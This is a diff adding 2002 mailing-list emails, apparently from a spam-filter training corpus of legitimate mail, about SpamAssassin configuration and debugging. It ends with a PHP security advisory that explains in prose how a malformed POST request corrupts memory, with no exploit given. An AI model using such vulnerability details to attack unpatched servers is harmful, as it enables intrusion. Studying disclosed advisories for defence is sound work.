the site? + +What site is that one? Isn't this site on sourceforge the official +home page? + + http://spamassassin.sourceforge.net/ + +Bob + +--4Ckj6UjgE2iN1+kY +Content-Type: application/pgp-signature +Content-Disposition: inline + +-----BEGIN PGP SIGNATURE----- +Version: GnuPG v1.0.7 (GNU/Linux) + +iD8DBQE9O3xf0pRcO8E2ULYRAnFFAJ4oIMwUH/vPP4yjvt7z8Gv/7CyFHgCfTmd6 +nFFjYpkscA/GZoaiF8MBKCU= +=Udmt +-----END PGP SIGNATURE----- + +--4Ckj6UjgE2iN1+kY-- + + +------------------------------------------------------- +This sf.net email is sponsored by:ThinkGeek +Welcome to geek heaven. +http://thinkgeek.com/sf +_______________________________________________ +Spamassassin-talk mailing list +Spamassassin-talk@lists.sourceforge.net +https://lists.sourceforge.net/lists/listinfo/spamassassin-talk + + diff --git a/bayes/spamham/easy_ham_2/01286.f22588c4af17ed65ca88d59ac26f120e b/bayes/spamham/easy_ham_2/01286.f22588c4af17ed65ca88d59ac26f120e new file mode 100644 index 0000000..803be25 --- /dev/null +++ b/bayes/spamham/easy_ham_2/01286.f22588c4af17ed65ca88d59ac26f120e @@ -0,0 +1,108 @@ +From spamassassin-devel-admin@lists.sourceforge.net Mon Jul 22 18:22:18 2002 +Return-Path: +Delivered-To: yyyy@localhost.netnoteinc.com +Received: from localhost (localhost [127.0.0.1]) + by phobos.labs.netnoteinc.com (Postfix) with ESMTP id 4340B440C9 + for ; Mon, 22 Jul 2002 13:22:18 -0400 (EDT) +Received: from dogma.slashnull.org [212.17.35.15] + by localhost with IMAP (fetchmail-5.9.0) + for jm@localhost (single-drop); Mon, 22 Jul 2002 18:22:18 +0100 (IST) +Received: from webnote.net (mail.webnote.net [193.120.211.219]) by + dogma.slashnull.org (8.11.6/8.11.6) with ESMTP id g6MFkCI09893 for + ; Mon, 22 Jul 2002 16:46:12 +0100 +Received: from usw-sf-list2.sourceforge.net (usw-sf-fw2.sourceforge.net + [216.136.171.252]) by webnote.net (8.9.3/8.9.3) with ESMTP id DAA29769 for + ; Mon, 22 Jul 2002 03:27:03 +0100 +Received: from usw-sf-list1-b.sourceforge.net ([10.3.1.13] + helo=usw-sf-list1.sourceforge.net) by usw-sf-list2.sourceforge.net with + esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 17WSsh-0003kl-00; Sun, + 21 Jul 2002 19:25:03 -0700 +Received: from [216.40.247.31] (helo=host.yrex.com) by + usw-sf-list1.sourceforge.net with smtp (Exim 3.31-VA-mm2 #1 (Debian)) id + 17WSs8-0000pH-00 for ; + Sun, 21 Jul 2002 19:24:28 -0700 +Received: (qmail 21555 invoked from network); 22 Jul 2002 02:24:26 -0000 +Received: from mgm.dsl.xmission.com (HELO scooby) (204.228.152.186) by + 216.40.247.31 with SMTP; 22 Jul 2002 02:24:26 -0000 +From: "Michael Moncur" +To: "Marc Perkel" , + +Subject: RE: [SAdev] Who uses Spam Assassin this way? +Message-Id: +MIME-Version: 1.0 +Content-Type: text/plain; charset="US-ASCII" +Content-Transfer-Encoding: 7bit +X-Priority: 3 (Normal) +X-Msmail-Priority: Normal +X-Mailer: Microsoft Outlook IMO, Build 9.0.2416 (9.0.2910.0) +In-Reply-To: <3D3AEBFD.5090800@perkel.com> +X-Mimeole: Produced By Microsoft MimeOLE V6.00.2600.0000 +Importance: Normal +Sender: spamassassin-devel-admin@example.sourceforge.net +Errors-To: spamassassin-devel-admin@example.sourceforge.net +X-Beenthere: spamassassin-devel@example.sourceforge.net +X-Mailman-Version: 2.0.9-sf.net +Precedence: bulk +List-Help: +List-Post: +List-Subscribe: , + +List-Id: SpamAssassin Developers +List-Unsubscribe: , + +List-Archive: +X-Original-Date: Sun, 21 Jul 2002 20:24:22 -0600 +Date: Sun, 21 Jul 2002 20:24:22 -0600 + +I flag spam at 7.0 and drop it altogether at 20.0. I do lots of whitelisting +and have never had a false positive over 20.0. + +Actually I save the 20-and-over spams to a file and occasionally +double-check it. + +This allows me to keep over 75% of the spam out of my mailbox entirely - I +have 3-4 messages a day in my Spam folder instead of 20-30. + +My system doesn't allow me to bounce messages with SA, but doing so doesn't +really get anybody removed from spam lists anyway... I have addresses that +have been bouncing for years that still get spam. + +-- +michael moncur mgm at starlingtech.com http://www.starlingtech.com/ +"Truth is more of a stranger than fiction." -- Mark Twain + +> -----Original Message----- +> From: spamassassin-devel-admin@example.sourceforge.net +> [mailto:spamassassin-devel-admin@lists.sourceforge.net]On Behalf Of Marc +> Perkel +> Sent: Sunday, July 21, 2002 11:15 AM +> To: spamassassin-devel@example.sourceforge.net +> Subject: [SAdev] Who uses Spam Assassin this way? +> +> +> I know most people use SA to just tag spam - but I use it to also delete +> and bounce spam. +> +> At 5 point I flag the message as spam and pass it on. At 18 points I +> bounce the spam as if the user doesn't exist - in the hopes of being +> removed from spam lists. I have modified scores on rules with large +> numbers of FP to .1 and at 18 points I get no FP at all now. +> +> Therefore - one of my goals in improving the rules is to try to get real +> spam up to 18 points. So if I have more good rules then real spam will +> hit more rules and raise the point value. +> +> Anyhow - I was wondering how many of you are doing what I'm doing? + + + +------------------------------------------------------- +This sf.net email is sponsored by:ThinkGeek +Welcome to geek heaven. +http://thinkgeek.com/sf +_______________________________________________ +Spamassassin-devel mailing list +Spamassassin-devel@lists.sourceforge.net +https://lists.sourceforge.net/lists/listinfo/spamassassin-devel + + diff --git a/bayes/spamham/easy_ham_2/01287.b8f539c2cb3af2d8d62a9270eab0cbcc b/bayes/spamham/easy_ham_2/01287.b8f539c2cb3af2d8d62a9270eab0cbcc new file mode 100644 index 0000000..467fef9 --- /dev/null +++ b/bayes/spamham/easy_ham_2/01287.b8f539c2cb3af2d8d62a9270eab0cbcc @@ -0,0 +1,83 @@ +From spamassassin-talk-admin@lists.sourceforge.net Mon Jul 22 18:22:21 2002 +Return-Path: +Delivered-To: yyyy@localhost.netnoteinc.com +Received: from localhost (localhost [127.0.0.1]) + by phobos.labs.netnoteinc.com (Postfix) with ESMTP id DC4B7440C8 + for ; Mon, 22 Jul 2002 13:22:20 -0400 (EDT) +Received: from dogma.slashnull.org [212.17.35.15] + by localhost with IMAP (fetchmail-5.9.0) + for jm@localhost (single-drop); Mon, 22 Jul 2002 18:22:20 +0100 (IST) +Received: from webnote.net (mail.webnote.net [193.120.211.219]) by + dogma.slashnull.org (8.11.6/8.11.6) with ESMTP id g6MFk2I09810 for + ; Mon, 22 Jul 2002 16:46:02 +0100 +Received: from usw-sf-list2.sourceforge.net (usw-sf-fw2.sourceforge.net + [216.136.171.252]) by webnote.net (8.9.3/8.9.3) with ESMTP id DAA29807 for + ; Mon, 22 Jul 2002 03:42:55 +0100 +Received: from usw-sf-list1-b.sourceforge.net ([10.3.1.13] + helo=usw-sf-list1.sourceforge.net) by usw-sf-list2.sourceforge.net with + esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 17WT99-0006li-00; Sun, + 21 Jul 2002 19:42:03 -0700 +Received: from mail.cs.ait.ac.th ([192.41.170.16]) by + usw-sf-list1.sourceforge.net with esmtp (Cipher TLSv1:DES-CBC3-SHA:168) + (Exim 3.31-VA-mm2 #1 (Debian)) id 17WT8H-0002sc-00 for + ; Sun, 21 Jul 2002 19:41:09 -0700 +Received: from banyan.cs.ait.ac.th (on@banyan.cs.ait.ac.th [192.41.170.5]) + by mail.cs.ait.ac.th (8.12.3/8.9.3) with ESMTP id g6M3EnTE028308; + Mon, 22 Jul 2002 10:14:49 +0700 (ICT) +Received: (from on@localhost) by banyan.cs.ait.ac.th (8.8.5/8.8.5) id + JAA18805; Mon, 22 Jul 2002 09:41:19 +0700 (ICT) +Message-Id: <200207220241.JAA18805@banyan.cs.ait.ac.th> +X-Authentication-Warning: banyan.cs.ait.ac.th: on set sender to + on@banyan.cs.ait.ac.th using -f +From: Olivier Nicole +To: yyyyates@sial.org +Cc: spamassassin-talk@example.sourceforge.net +In-Reply-To: <20020722022715.GS43204@darkness.sial.org> (message from + Jeremy Mates on Sun, 21 Jul 2002 19:27:15 -0700) +Subject: Re: [SAtalk] Apple, Kmail, Adaptive Rules +References: <20020720224934.N3833-100000@moon.campus.luth.se> + <200207220209.JAA18749@banyan.cs.ait.ac.th> + <20020722022715.GS43204@darkness.sial.org> +X-Virus-Scanned: by amavisd-milter (http://amavis.org/) +Sender: spamassassin-talk-admin@example.sourceforge.net +Errors-To: spamassassin-talk-admin@example.sourceforge.net +X-Beenthere: spamassassin-talk@example.sourceforge.net +X-Mailman-Version: 2.0.9-sf.net +Precedence: bulk +List-Help: +List-Post: +List-Subscribe: , + +List-Id: Talk about SpamAssassin +List-Unsubscribe: , + +List-Archive: +X-Original-Date: Mon, 22 Jul 2002 09:41:19 +0700 (ICT) +Date: Mon, 22 Jul 2002 09:41:19 +0700 (ICT) + +>How would forgeries (e.g. viruses) be detected? Would there be an +>"oops-I-didn't-mean-to-submit-that" option somehow? + +Real viruses are filtered before they reach any mailbox for delivery. + +Tose two addresses could be accessible only for internal mail. + +And as a user is using this mechanism to build his own database of +spam/non-spam, that's his problem is he sumbit something wrong. + +BTW, same forgery or wrong submission problems would exist if each +user had his own set of 2 addresses. + +Olivier + + +------------------------------------------------------- +This sf.net email is sponsored by:ThinkGeek +Welcome to geek heaven. +http://thinkgeek.com/sf +_______________________________________________ +Spamassassin-talk mailing list +Spamassassin-talk@lists.sourceforge.net +https://lists.sourceforge.net/lists/listinfo/spamassassin-talk + + diff --git a/bayes/spamham/easy_ham_2/01288.7e7f5571f0b3c773a0ead323b8a2d1b5 b/bayes/spamham/easy_ham_2/01288.7e7f5571f0b3c773a0ead323b8a2d1b5 new file mode 100644 index 0000000..5dd6a64 --- /dev/null +++ b/bayes/spamham/easy_ham_2/01288.7e7f5571f0b3c773a0ead323b8a2d1b5 @@ -0,0 +1,84 @@ +From spamassassin-devel-admin@lists.sourceforge.net Mon Jul 22 18:22:31 2002 +Return-Path: +Delivered-To: yyyy@localhost.netnoteinc.com +Received: from localhost (localhost [127.0.0.1]) + by phobos.labs.netnoteinc.com (Postfix) with ESMTP id 985F1440CD + for ; Mon, 22 Jul 2002 13:22:27 -0400 (EDT) +Received: from dogma.slashnull.org [212.17.35.15] + by localhost with IMAP (fetchmail-5.9.0) + for jm@localhost (single-drop); Mon, 22 Jul 2002 18:22:27 +0100 (IST) +Received: from webnote.net (mail.webnote.net [193.120.211.219]) by + dogma.slashnull.org (8.11.6/8.11.6) with ESMTP id g6MFwEY14524 for + ; Mon, 22 Jul 2002 16:58:14 +0100 +Received: from usw-sf-list2.sourceforge.net (usw-sf-fw2.sourceforge.net + [216.136.171.252]) by webnote.net (8.9.3/8.9.3) with ESMTP id UAA28913 for + ; Sun, 21 Jul 2002 20:26:30 +0100 +Received: from usw-sf-list1-b.sourceforge.net ([10.3.1.13] + helo=usw-sf-list1.sourceforge.net) by usw-sf-list2.sourceforge.net with + esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 17WMKJ-00054q-00; Sun, + 21 Jul 2002 12:25:07 -0700 +Received: from adsl-216-103-211-240.dsl.snfc21.pacbell.net + ([216.103.211.240] helo=proton.pathname.com) by + usw-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id + 17WMJk-0006eA-00 for ; + Sun, 21 Jul 2002 12:24:32 -0700 +Received: from quinlan by proton.pathname.com with local (Exim 3.35 #1 + (Debian)) id 17WMJj-0001cY-00; Sun, 21 Jul 2002 12:24:31 -0700 +To: Marc Perkel +Cc: spamassassin-devel@example.sourceforge.net +Subject: Re: [SAdev] Debug Support Feature +References: <3D3ACD3D.9020600@perkel.com> +From: Daniel Quinlan +In-Reply-To: Marc Perkel's message of "Sun, 21 Jul 2002 08:03:25 -0700" +Message-Id: +X-Mailer: Gnus v5.7/Emacs 20.7 +Sender: spamassassin-devel-admin@example.sourceforge.net +Errors-To: spamassassin-devel-admin@example.sourceforge.net +X-Beenthere: spamassassin-devel@example.sourceforge.net +X-Mailman-Version: 2.0.9-sf.net +Precedence: bulk +List-Help: +List-Post: +List-Subscribe: , + +List-Id: SpamAssassin Developers +List-Unsubscribe: , + +List-Archive: +X-Original-Date: 21 Jul 2002 12:24:31 -0700 +Date: 21 Jul 2002 12:24:31 -0700 + +Marc Perkel writes: + +> Here something I want - maybe it's in there. I want a way to pipe a file +> containing messages into one of the "masses" tools and have it output +> the messages that match a specific rule. +> +> The reason I want this is to pipe non-spam corpus through a rule and get +> a file of messages so I can look at the false positives and try to +> figure out why there was a match. IDEALLY - I would like this debug +> modes to put [[ ]] around the phrase that triggered the match. I think +> this would be a good tool for fixing/improving otherwise good rules that +> have unexplained FP. + + $ cd mass-check + $ ./mass-check [options] > nonspam.log + $ egrep RULE_NAME nonspam.log|awk '{print $3}'|xargs cat > RULE_NAME.fp + +It's pretty easy to figure out what matched if you write a short perl +script to match regular expressions or just use pcregrep (perl regular +expression grep). + +Dan + + +------------------------------------------------------- +This sf.net email is sponsored by:ThinkGeek +Welcome to geek heaven. +http://thinkgeek.com/sf +_______________________________________________ +Spamassassin-devel mailing list +Spamassassin-devel@lists.sourceforge.net +https://lists.sourceforge.net/lists/listinfo/spamassassin-devel + + diff --git a/bayes/spamham/easy_ham_2/01289.10818e3dc6bacd14b05bd6521f8aaa27 b/bayes/spamham/easy_ham_2/01289.10818e3dc6bacd14b05bd6521f8aaa27 new file mode 100644 index 0000000..d08bd85 --- /dev/null +++ b/bayes/spamham/easy_ham_2/01289.10818e3dc6bacd14b05bd6521f8aaa27 @@ -0,0 +1,104 @@ +From spamassassin-talk-admin@lists.sourceforge.net Mon Jul 22 18:27:43 2002 +Return-Path: +Delivered-To: yyyy@localhost.netnoteinc.com +Received: from localhost (localhost [127.0.0.1]) + by phobos.labs.netnoteinc.com (Postfix) with ESMTP id E4244440C8 + for ; Mon, 22 Jul 2002 13:27:41 -0400 (EDT) +Received: from dogma.slashnull.org [212.17.35.15] + by localhost with IMAP (fetchmail-5.9.0) + for jm@localhost (single-drop); Mon, 22 Jul 2002 18:27:41 +0100 (IST) +Received: from webnote.net (mail.webnote.net [193.120.211.219]) by + dogma.slashnull.org (8.11.6/8.11.6) with ESMTP id g6MG1PY16604 for + ; Mon, 22 Jul 2002 17:01:25 +0100 +Received: from usw-sf-list2.sourceforge.net (usw-sf-fw2.sourceforge.net + [216.136.171.252]) by webnote.net (8.9.3/8.9.3) with ESMTP id KAA26773 for + ; Sun, 21 Jul 2002 10:01:43 +0100 +Received: from usw-sf-list1-b.sourceforge.net ([10.3.1.13] + helo=usw-sf-list1.sourceforge.net) by usw-sf-list2.sourceforge.net with + esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 17WCZP-0008CH-00; Sun, + 21 Jul 2002 02:00:03 -0700 +Received: from basket.ball.reliam.net ([213.91.6.7]) by + usw-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id + 17WCYt-0001un-00 for ; + Sun, 21 Jul 2002 01:59:31 -0700 +Received: from teich.garten.digitalprojects.com + (port-212-202-162-53.reverse.qdsl-home.de [212.202.162.53]) by + basket.ball.reliam.net (Postfix) with ESMTP id 0DD9A3DB0 for + ; Sun, 21 Jul 2002 10:59:22 +0200 + (CEST) +Received: by teich.garten.digitalprojects.com (Postfix, from userid 501) + id 1E27153C32; Sun, 21 Jul 2002 10:59:21 +0200 (CEST) +From: Alexander Skwar +To: SpamAssassin Talk ML +Subject: Re: [SAtalk] Cannot get spamd to work +Message-Id: <20020721085920.GH28057@teich.Garten.DigitalProjects.com> +References: <20020720153536.GD28057@teich.Garten.DigitalProjects.com> + <200207201805.06828@malte.stretz.eu.org> + <20020720195608.GF28057@teich.Garten.DigitalProjects.com> + <200207210156.18898@malte.stretz.eu.org> +MIME-Version: 1.0 +Content-Type: text/plain; charset=iso-8859-1 +Content-Disposition: inline +In-Reply-To: <200207210156.18898@malte.stretz.eu.org> +User-Agent: Mutt/1.4i +X-Operating-System: An i686 Linux with Kernel v2.4.18-20mdk +X-Face: nope +Sender: spamassassin-talk-admin@example.sourceforge.net +Errors-To: spamassassin-talk-admin@example.sourceforge.net +X-Beenthere: spamassassin-talk@example.sourceforge.net +X-Mailman-Version: 2.0.9-sf.net +Precedence: bulk +List-Help: +List-Post: +List-Subscribe: , + +List-Id: Talk about SpamAssassin +List-Unsubscribe: , + +List-Archive: +X-Original-Date: Sun, 21 Jul 2002 10:59:20 +0200 +Date: Sun, 21 Jul 2002 10:59:20 +0200 +Content-Transfer-Encoding: 8bit +X-MIME-Autoconverted: from quoted-printable to 8bit by dogma.slashnull.org + id g6MG1PY16604 + +So sprach Malte S. Stretz am 2002-07-21 um 01:56:18 +0200 : +> Not really. In most cases it's an install-and-forget. But there're some +> special cases like you. Be proud! You're special :o) + +Uhm, yes, I'm happy that it doesn't work for me ;)) + +> I had a look at the spamc source and put a printf everywhere an exit code 74 +> is used; could you have a try with the attached spamc, please? + +read_message->old_serverex 74 + +host:~/.cpan/build/Mail-SpamAssassin-2.31 # telnet localhost 783 +Trying 127.0.0.1... +Connected to localhost. +Escape character is '^]'. +df +SPAMD/1.0 76 Bad header line: df +Connection closed by foreign host. + +Just like John just said - thanks a lot for taking all that time to help +me get SA to work! I'm *REALLY* thankful for this! + +Alexander Skwar +-- +How to quote: http://learn.to/quote (german) http://quote.6x.to (english) +Homepage: http://www.iso-top.biz | Jabber: askwar@a-message.de + iso-top.biz - Die günstige Art an Linux Distributionen zu kommen + Uptime: 4 days 14 hours 37 minutes + + +------------------------------------------------------- +This sf.net email is sponsored by:ThinkGeek +Welcome to geek heaven. +http://thinkgeek.com/sf +_______________________________________________ +Spamassassin-talk mailing list +Spamassassin-talk@lists.sourceforge.net +https://lists.sourceforge.net/lists/listinfo/spamassassin-talk + + diff --git a/bayes/spamham/easy_ham_2/01290.c34d994ff61cfc0f12de8158434a9b3e b/bayes/spamham/easy_ham_2/01290.c34d994ff61cfc0f12de8158434a9b3e new file mode 100644 index 0000000..13fef7a --- /dev/null +++ b/bayes/spamham/easy_ham_2/01290.c34d994ff61cfc0f12de8158434a9b3e @@ -0,0 +1,92 @@ +From spamassassin-talk-admin@lists.sourceforge.net Mon Jul 22 18:27:48 2002 +Return-Path: +Delivered-To: yyyy@localhost.netnoteinc.com +Received: from localhost (localhost [127.0.0.1]) + by phobos.labs.netnoteinc.com (Postfix) with ESMTP id 7B9E7440C9 + for ; Mon, 22 Jul 2002 13:27:47 -0400 (EDT) +Received: from dogma.slashnull.org [212.17.35.15] + by localhost with IMAP (fetchmail-5.9.0) + for jm@localhost (single-drop); Mon, 22 Jul 2002 18:27:47 +0100 (IST) +Received: from webnote.net (mail.webnote.net [193.120.211.219]) by + dogma.slashnull.org (8.11.6/8.11.6) with ESMTP id g6MFGv901755 for + ; Mon, 22 Jul 2002 16:16:57 +0100 +Received: from usw-sf-list2.sourceforge.net (usw-sf-fw2.sourceforge.net + [216.136.171.252]) by webnote.net (8.9.3/8.9.3) with ESMTP id PAA32412 for + ; Mon, 22 Jul 2002 15:22:19 +0100 +Received: from usw-sf-list1-b.sourceforge.net ([10.3.1.13] + helo=usw-sf-list1.sourceforge.net) by usw-sf-list2.sourceforge.net with + esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 17We1e-0000Ms-00; Mon, + 22 Jul 2002 07:19:02 -0700 +Received: from moon.campus.luth.se ([130.240.202.158]) by + usw-sf-list1.sourceforge.net with esmtp (Cipher TLSv1:DES-CBC3-SHA:168) + (Exim 3.31-VA-mm2 #1 (Debian)) id 17We1J-0005Sp-00 for + ; Mon, 22 Jul 2002 07:18:41 -0700 +Received: from moon.campus.luth.se (tony@moon.campus.luth.se + [130.240.202.158]) by moon.campus.luth.se (8.12.3/8.12.3) with ESMTP id + g6MEI3Zl010277; Mon, 22 Jul 2002 16:18:03 +0200 (CEST) (envelope-from + tony@svanstrom.com) +From: "Tony L. Svanstrom" +X-X-Sender: tony@moon.campus.luth.se +To: Olivier Nicole +Cc: yyyyates@sial.org, +Subject: Re: [SAtalk] Apple, Kmail, Adaptive Rules +In-Reply-To: <200207220241.JAA18805@banyan.cs.ait.ac.th> +Message-Id: <20020722161427.V10232-100000@moon.campus.luth.se> +MIME-Version: 1.0 +Content-Type: TEXT/PLAIN; charset=US-ASCII +Sender: spamassassin-talk-admin@example.sourceforge.net +Errors-To: spamassassin-talk-admin@example.sourceforge.net +X-Beenthere: spamassassin-talk@example.sourceforge.net +X-Mailman-Version: 2.0.9-sf.net +Precedence: bulk +List-Help: +List-Post: +List-Subscribe: , + +List-Id: Talk about SpamAssassin +List-Unsubscribe: , + +List-Archive: +X-Original-Date: Mon, 22 Jul 2002 16:18:03 +0200 (CEST) +Date: Mon, 22 Jul 2002 16:18:03 +0200 (CEST) + +On Mon, 22 Jul 2002 the voices made Olivier Nicole write: + +> >How would forgeries (e.g. viruses) be detected? Would there be an +> >"oops-I-didn't-mean-to-submit-that" option somehow? +> +> Real viruses are filtered before they reach any mailbox for delivery. +> +> Tose two addresses could be accessible only for internal mail. +> +> And as a user is using this mechanism to build his own database of +> spam/non-spam, that's his problem is he sumbit something wrong. +> +> BTW, same forgery or wrong submission problems would exist if each +> user had his own set of 2 addresses. + + Not really, because you could use [user]-[action]-[passw]@domain.tld; instead +of letting 100'000 other users mess with your settings; not to mention virii +that randomly pick sendernames from addressbooks and the future virii that +target these "not spam"-functions... + + + /Tony +-- +# Per scientiam ad libertatem! // Through knowledge towards freedom! # +# Genom kunskap mot frihet! =*= (c) 1999-2002 tony@svanstrom.com =*= # + + perl -e'print$_{$_} for sort%_=`lynx -source svanstrom.com/t`' + + + +------------------------------------------------------- +This sf.net email is sponsored by:ThinkGeek +Welcome to geek heaven. +http://thinkgeek.com/sf +_______________________________________________ +Spamassassin-talk mailing list +Spamassassin-talk@lists.sourceforge.net +https://lists.sourceforge.net/lists/listinfo/spamassassin-talk + + diff --git a/bayes/spamham/easy_ham_2/01291.54c5040c1d26a7c505404e1038a5287c b/bayes/spamham/easy_ham_2/01291.54c5040c1d26a7c505404e1038a5287c new file mode 100644 index 0000000..5af49a1 --- /dev/null +++ b/bayes/spamham/easy_ham_2/01291.54c5040c1d26a7c505404e1038a5287c @@ -0,0 +1,101 @@ +From spamassassin-devel-admin@lists.sourceforge.net Mon Jul 22 18:28:29 2002 +Return-Path: +Delivered-To: yyyy@localhost.netnoteinc.com +Received: from localhost (localhost [127.0.0.1]) + by phobos.labs.netnoteinc.com (Postfix) with ESMTP id 3F9CD440C8 + for ; Mon, 22 Jul 2002 13:28:28 -0400 (EDT) +Received: from dogma.slashnull.org [212.17.35.15] + by localhost with IMAP (fetchmail-5.9.0) + for jm@localhost (single-drop); Mon, 22 Jul 2002 18:28:28 +0100 (IST) +Received: from webnote.net (mail.webnote.net [193.120.211.219]) by + dogma.slashnull.org (8.11.6/8.11.6) with ESMTP id g6MG0uY16208 for + ; Mon, 22 Jul 2002 17:00:56 +0100 +Received: from usw-sf-list2.sourceforge.net (usw-sf-fw2.sourceforge.net + [216.136.171.252]) by webnote.net (8.9.3/8.9.3) with ESMTP id PAA27966 for + ; Sun, 21 Jul 2002 15:34:51 +0100 +Received: from usw-sf-list1-b.sourceforge.net ([10.3.1.13] + helo=usw-sf-list1.sourceforge.net) by usw-sf-list2.sourceforge.net with + esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 17WHho-0007gh-00; Sun, + 21 Jul 2002 07:29:04 -0700 +Received: from www.ctyme.com ([209.237.228.10] helo=darwin.ctyme.com) by + usw-sf-list1.sourceforge.net with esmtp (Cipher TLSv1:DES-CBC3-SHA:168) + (Exim 3.31-VA-mm2 #1 (Debian)) id 17WHhT-0002Cl-00 for + ; Sun, 21 Jul 2002 07:28:43 + -0700 +Received: from m206-56.dsl.tsoft.com ([198.144.206.56] helo=perkel.com) by + darwin.ctyme.com with asmtp (TLSv1:RC4-MD5:128) (Exim 3.35 #1) id + 17WHgz-0001o3-00; Sun, 21 Jul 2002 07:28:13 -0700 +Message-Id: <3D3AC50E.5060708@perkel.com> +From: Marc Perkel +User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.0.0) + Gecko/20020530 +X-Accept-Language: en-us, en +MIME-Version: 1.0 +To: Daniel Quinlan +Cc: Theo Van Dinter , + bugzilla-daemon@hughes-family.org, + spamassassin-devel@lists.sourceforge.net +Subject: Re: [SAdev] [Bug 584] New: More general rule cleanup +References: <20020720212016.0397C91B46@belphegore.hughes-family.org> + <3D3A057D.2000502@perkel.com> <20020721012742.GA26908@kluge.net> + +Content-Type: text/plain; charset=us-ascii; format=flowed +Content-Transfer-Encoding: 7bit +Sender: spamassassin-devel-admin@example.sourceforge.net +Errors-To: spamassassin-devel-admin@example.sourceforge.net +X-Beenthere: spamassassin-devel@example.sourceforge.net +X-Mailman-Version: 2.0.9-sf.net +Precedence: bulk +List-Help: +List-Post: +List-Subscribe: , + +List-Id: SpamAssassin Developers +List-Unsubscribe: , + +List-Archive: +X-Original-Date: Sun, 21 Jul 2002 07:28:30 -0700 +Date: Sun, 21 Jul 2002 07:28:30 -0700 + +Thanks Dan. And the changes were very clever. Some of his rule changes +actually did make thing more readable and he is highly skilled at +regular expressions. I have found that readability and +understandability is important in maintaining code. I think in a group +project that it's more important. + +Daniel Quinlan wrote: + +>This is not a big deal, but I think Marc has a good point. The +>performance difference is probably insignificant. On the other hand, we +>continually have errors in regular expressions, often when "excessive +>cleverness" has been applied. +> +>This seems like a pretty good example of premature/excessive +>optimization. There is no data showing that the relevant code is run +>for any significant period of time or that these changes produce a +>measurable improvement in performance. Maybe they do, but it would be +>nice to know before we complicate every regular expression. +> +>In contrast, your changes to the eval loops in PerMsgStatus.pm were +>great. The code was responsible for a lot of our execution time and +>there was a huge speed improvement. Even better, the code was just as +>easy to understand as the original. +> +>Dan +> +> +> + + + + +------------------------------------------------------- +This sf.net email is sponsored by:ThinkGeek +Welcome to geek heaven. +http://thinkgeek.com/sf +_______________________________________________ +Spamassassin-devel mailing list +Spamassassin-devel@lists.sourceforge.net +https://lists.sourceforge.net/lists/listinfo/spamassassin-devel + + diff --git a/bayes/spamham/easy_ham_2/01292.483e487ce52ebe78815349060f8aff71 b/bayes/spamham/easy_ham_2/01292.483e487ce52ebe78815349060f8aff71 new file mode 100644 index 0000000..3b3569e --- /dev/null +++ b/bayes/spamham/easy_ham_2/01292.483e487ce52ebe78815349060f8aff71 @@ -0,0 +1,134 @@ +From vulnwatch-return-400-jm=jmason.org@vulnwatch.org Mon Jul 22 19:26:06 2002 +Return-Path: +Delivered-To: yyyy@localhost.netnoteinc.com +Received: from localhost (localhost [127.0.0.1]) + by phobos.labs.netnoteinc.com (Postfix) with ESMTP id 5AEA3440C8 + for ; Mon, 22 Jul 2002 14:26:03 -0400 (EDT) +Received: from dogma.slashnull.org [212.17.35.15] + by localhost with IMAP (fetchmail-5.9.0) + for jm@localhost (single-drop); Mon, 22 Jul 2002 19:26:03 +0100 (IST) +Received: from webnote.net (mail.webnote.net [193.120.211.219]) by + dogma.slashnull.org (8.11.6/8.11.6) with ESMTP id g6MFHB902006 for + ; Mon, 22 Jul 2002 16:17:11 +0100 +Received: from vikki.vulnwatch.org ([199.233.98.101]) by webnote.net + (8.9.3/8.9.3) with SMTP id OAA32249 for ; Mon, + 22 Jul 2002 14:55:11 +0100 +Received: (qmail 16454 invoked by alias); 22 Jul 2002 14:08:03 -0000 +Mailing-List: contact vulnwatch-help@vulnwatch.org; run by ezmlm +Precedence: bulk +List-Post: +List-Help: +List-Unsubscribe: +List-Subscribe: +Delivered-To: mailing list vulnwatch@vulnwatch.org +Delivered-To: moderator for vulnwatch@vulnwatch.org +Received: (qmail 25523 invoked from network); 22 Jul 2002 12:02:43 -0000 +Date: Mon, 22 Jul 2002 13:21:28 +0200 +From: e-matters Security +To: bugtraq@securityfocus.com +Cc: vulnwatch@vulnwatch.org +Message-Id: <20020722112128.GB9191@php.net> +Reply-To: security@e-matters.de +MIME-Version: 1.0 +Content-Type: text/plain; charset=us-ascii +Content-Disposition: inline +User-Agent: Mutt/1.4i +Subject: [VulnWatch] Advisory 02/2002: PHP remote vulnerability + + e-matters GmbH + www.e-matters.de + + -= Security Advisory =- + + + + Advisory: Remote Compromise/DOS Vulnerability in PHP + Release Date: 2002/07/22 +Last Modified: 2002/07/22 + Author: Stefan Esser [s.esser@e-matters.de] + + Application: PHP 4.2.0, 4.2.1 + Severity: A vulnerability within the multipart/form-data handler + could allow remote compromise of the web server. + Risk: Critical +Vendor Status: Patches Released. + Reference: http://security.e-matters.de/advisories/022002.html + + + +Overview: + + We have discovered a serious vulnerability within the default version + of PHP. Depending on the processor architecture it may be possible for a + remote attacker to either crash or compromise the web server. + + +Details: + + PHP 4.2.0 introduced a completely rewritten multipart/form-data POST + handler. While I was working on the code in my role as PHP developer + i found a bug within the way the mime headers are processed. + A malformed POST request can trigger an error condition, that is not + correctly handled. Due to this bug it could happen that an uninit- + ialised struct gets appended to the linked list of mime headers. + When the lists gets cleaned or destroyed PHP tries to free the pointers + that are expected in the struct. Because of the lack of initialisation + those pointers contain stuff that was left on the stack by previous + function calls. + + On the IA32 architecture (aka. x86) it is not possible to control what + will end up in the uninitialised struct because of the stack layout. All + possible code paths leave illegal addresses within the struct and PHP + will crash when it tries to free them. + + Unfortunately the situation is absolutely different if you look on a + solaris sparc installation. Here it is possible for an attacker to free + chunks of memory that are full under his control. This is most probably + the case for several more non IA32 architectures. + + Please note that exploitability is not only limited to systems that are + running malloc()/free() implementations that are known to be vulnerable + to control structure overwrites. This is because the internal PHP memory + managment implements its own linked list system that can be used to + overwrite nearly arbitrary memory addresses. + + +Proof of Concept: + + e-matters is not going to release the exploit for this vulnerability to + the public. + + +Vendor Response: + + 22th July 2002 